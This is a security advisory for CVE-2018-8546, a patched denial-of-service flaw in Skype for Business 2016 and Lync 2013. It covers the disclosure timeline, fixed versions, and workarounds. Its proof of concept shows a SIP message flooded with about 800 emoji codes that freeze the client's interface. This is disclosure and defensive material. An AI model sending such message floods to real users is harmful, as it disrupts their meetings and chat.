SEC Consult Vulnerability Lab Security Advisory < 20181114-0 > ======================================================================= title: Denial of Service product: Microsoft Skype for Business 2016 / Lync 2013 vulnerable version: Microsoft Skype for Business 2015 (Lync 2013) before v15.0.5075.1000 Skype for Business 2016: before v16.0.4756.1000 fixed version: Microsoft Skype for Business 2015 (Lync 2013) v15.0.5075.1000 Skype for Business 2016 v16.0.4756.1000 CVE number: CVE-2018-8546 impact: Medium homepage: https://www.skype.com/en/business/ found: 08/2018 by: Sabine Degen (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Skype for Business (formerly Microsoft Office Communicator and Microsoft Lync) is an instant messaging client used with Skype for Business Server or with Skype for Business Online (available with Microsoft Office 365). Skype for Business is enterprise software." Source: https://en.wikipedia.org/wiki/Skype_for_Business Business recommendation: ------------------------ Assess the impact of this vulnerability on your business. The patch provided by Microsoft should be installed immediately. Especially if Skype for Business is being used for external communication. Vulnerability overview/description: ----------------------------------- A large number of emojis (e.g. ~800 kittens) received in one message by the Skype For Business client freezes the program for a few seconds. This can be exploited to perform Denial of Service attacks against Skype for Business users and compromises the availability of the program. For example, an attacker can continuously send such messages to the chat window of a meeting room in order to freeze the program for all participants and prevent them from using the chat or seeing the video. Note that the sound and video stream is handled by a separate thread and therefore are not affected (e.g. killed), only the functions related to graphical user interface become unusable. Proof of concept: ----------------- After sending a big amount of emojis (~800 kittens) to a Skype for Business chat, the program freezes for a few seconds while rendering the chat window. Continuously sending emojis will make the GUI unusable for the user. Ongoing conference calls are not affected or interrupted. The following SIP packet illustrates the attack. MESSAGE sip:xxx@*redacted*;opaque=user:epid:EwWlc9DdAFGQtozR4vBibAAA;gruu SIP/2.0 Via: SIP/2.0/tls 127.0.0.1:7490 From: ;tag=82254700;epid=e67b0162bec8 To: ;tag=5c302cb624;epid=15347556e6 Max-Forwards: 70 CSeq: 12 MESSAGE User-Agent: Purple/2.12.0 Sipe/1.23.2 (win-i386; RTC/5.0) Call-ID: 440Eg2C92a5C4Ci0A43m5DDAt76CEb3DEAx13B0x Route: Contact: Content-Type: text/plain; charset=UTF-8;msgr=WAAtAE0ATQBTAC0ASQBNAC0ARgBvAHIAbQBhAHQAOgAgAEYATgA9AE0AUwAlADIAMABTAGEAbgBzACUAMgAwAFMAZQByAGkAZgA7ACAARQBGAD0AOwAgAEMATwA9ADAAOwAgAFAARgA9ADAAOwAgAFIATAA9ADAADQAKAA0ACgA Content-Length: 4420 Authorization: TLS-DSK qop="auth", opaque="174C6224", realm="SIP Communications Service", targetname="*redacted*", crand="1126134f", cnum="29", response="*redacted*" (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) (cat)(cat)(cat)(cat)(cat)(cat)(cat)(cat) [...] Vulnerable / tested versions: ----------------------------- The following versions have been identified as vulnerable which were the latest versions available at the time of the test: * Lync 2013 (15.0) 64-Bit part of Microsoft Office Professional Plus 2013 * Skype for Business 2016 MSO (16.0.93).64-Bit, Both versions were running on Windows 10 Pro. According to the vendor, all previous versions are affected: * Skype for Business 2015 (Lync 2013) before v15.0.5075.1000 * Skype for Business 2016: before v16.0.4756.1000 Vendor contact timeline: ------------------------ 2018-08-02: Vulnerability details submitted to Microsoft, MSRC Case 47060aassigned 2018-08-28: Asking for a status update 2018-08-30: Vendor: issue has been reproduced, solution to block the user provided 2018-08-31: Follow-up questions why DoS is not categorized as security issue as the provided workaround is not effective for attacks already in progress 2018-08-31: Vendor: decided to fix the issue, rollout planned for early October 2018-09-03: Agreed to release advisory after mid October 2018-10-10: Asking for a status update 2018-10-10: Microsoft: Issue has been fixed on October 2nd, CVE number will be assigned soon. 2018-10-10: Asking for affected versions, advisory notes 2018-10-10: Microsoft: KB #4461446 and #4092445 2018-10-10: Reviewing KB articles, asking Microsoft why there is no mention of the security fix in #4092445 2018-10-11: Microsoft: there was a mistake, the patch needs to be re-released as security fix, agreed on postponing until next Patch Tuesday in November 2018-10-15: CVE number CVE-2018-8546 provided on Patch Tuesday 2018-11-14: Coordinated release of security advisory Solution: --------- Apply the security patches provided by the vendor. The fixed versions are: * Skype for Business 2015 (Lync 2013) version 15.0.5075.1000 * Skype for Business 2016 (KB4092445) version 16.0.4756.1000 Microsoft provided the following links for further information: https://support.microsoft.com/en-us/help/4461446/october-2-2018-update-for-skype-for-business-2015-lync-2013-kb4461446 https://support.microsoft.com/en-us/help/4092445/october-2-2018-update-for-skype-for-business-2016-kb4092445 Workaround: ----------- Disable emoticons in Skype for Business: Tools -> Options -> IM -> Show emoticons in messages Or block the user performing the DoS attacks by right-clicking on the contact and "Change Privacy Relationship", then click "Blocked Contacts" (of course this will only work when there is no active DoS attack) Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. 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Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Degen / @2018